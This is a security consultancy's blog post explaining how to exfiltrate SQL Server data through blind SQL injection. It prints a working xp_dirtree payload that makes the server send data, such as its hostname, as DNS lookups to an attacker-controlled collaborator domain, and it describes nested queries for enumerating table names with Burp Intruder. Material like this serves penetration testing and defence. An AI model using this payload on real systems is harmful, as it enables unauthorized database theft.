SQLi Data Exfiltration via DNS

By Mike Saunders | November 30, 2018

Did you know you can use DNS queries to exfiltrate data from a database via SQLi? No? Then continue reading! I’ll walk through some techniques you can use to enumerate and exfiltrate data from a DB server via blind SQLi.

On a recent web app test, I encountered a situation where I had identified a potential SQLi. Burp confirmed the SQL injection vulnerability via DNS interaction using the Collaborator service. I tried to do some additional enumeration and exfiltration using SQLmap, but I wasn’t able to get this working right away due to a WAF blocking requests due to how SQLmap was structuring the headers. I needed another way to validate the SQLi and show that data could be recovered from the server.

Burp scanner SQLi result, detected using collaborator Burp scanner SQLi result, detected using collaborator

In a previous blog, I talked about capturing SQL Server user hashes via SQLi using xp_dirtree. I tried the same approach, but was unsuccessful due to egress filtering on the client’s firewalls. In that previous article, I also referenced a blog post by GracefulSecurity. Once again, this blog came in handy.

Even if there’s egress filtering in place, xp_dirtree can still be used to exfiltrate data from a network. This is due to the fact that the SQL server has to perform a DNS lookup on the target of the xp_dirtree operation. Data can be added as the host or subdomain part of a domain name. For example, if I set up a DNS server at collaborator.redsiege.net, I can force xp_dirtree to perform a DNS lookup on data.collaborator.redsiege.net and my DNS server will receive the query for that host, allowing me to extract the data from the request. Let’s look at this in more detail.

Consider the following code:

DECLARE @data varchar(1024);
EXEC('master.dbo.xp_dirtree "\\'+@data+'.collaborator.redsiege.net\foo$"');

In this SQL query, we declare a variable named data, we populate that variable with the results of SELECT HOST_NAME(), and then attempt an xp_dirtree on \\hostname.collaborator.redsiege.net.

SQL query to retrieve hostname

SQL query to retrieve hostname

My test system is named INTRUDER. Performing this query on my test system caused a lookup for INTRUDER.collaborator.redsiege.net, as seen below.

Hostname Enumeration

Hostname Received via DNS Query

At this point, I knew I had a reliable way to exfiltrate data, even if I needed to do it somewhat manually. Of course, for this demo I’m showing results using the SQL Server Management Studio to issue queries, but in practice this is no different that doing it through SQLi. The only difference is the need to URL-encode parts of the query.

Sometimes we take for granted just how much work SQLmap is doing for us. Consider the process of enumerating table names from a database. In the example below you’ll find a query that returns a table name from the Northwind database.

Table Name Query

Table Name Query

What’s going on in this query? You’ll notice that there are 2 SELECT statements that make up @data. The inner SELECT statement, which is called out in the screenshot above, returns the top 10 results of table names from the Northwind database, sorted in ascending alphabetical order. The outer (first) SELECT statement then selects the first result of this result set sorted in descending alphabetical order. The result of this query is that we retrieve the name of the 10th table in the Northwind database. Confused? Let’s break it down.

Below we have the inner SELECT statement. As you can see, it returns 10 results, sorted in ascending alphabetical order.

Inner SELECT returns 10 results Inner SELECT returns 10 results

As you can see below, the full query returns only the 10th table name. The reason this works is because we first return 10 results, sorted in ascending alphabetical order, and then we perform a second SELECT where only the 1st result, sorted in descending alphabetical order, is returned. This means we return only the 10th result from the list of table names.

Full Query Returns Only 10th Result Full Query Returns Only 10th Result[/caption]

Knowing this, we can use Intruder to iterate over all possible table names by simply modifying the second SELECT statement and increasing the number of results in each request.

Using Intruder to Iterate Table Names Using Intruder to Iterate Table Names[/caption]

You now have another tool in your kit if you encounter a blind SQLi on an engagement and SQLmap isn’t working for you. Here are a few links I found helpful going through this process:

Adventures in Shellcode Obfuscation! Part 1: Overview

By Red Siege | June 17, 2024

by Mike Saunders, Principal Security Consultant This blog is the first in a series of articles on methods for obfuscating shellcode. I’ll be focusing on how to obfuscate shellcode to […]

Learn More
Adventures in Shellcode Obfuscation! Part 1: Overview

Fun With JWT X5u

By Red Siege | May 30, 2024

by Senior Security Consultant Douglas Berdeaux On a recent web application penetration test engagement, I came across a JSON Web Token (JWT) that contained an x5u header parameter. I almost […]

Learn More
Fun With JWT X5u

Extend Your Browser

By Red Siege | May 9, 2024

by Ian Briley, Security Consultant In my last blog, I discussed using only a browser for web application testing, emphasizing how useful built-in browser tools like the Inspector and Console […]

Learn More
Extend Your Browser

Find Out What’s Next

Stay in the loop with our upcoming events.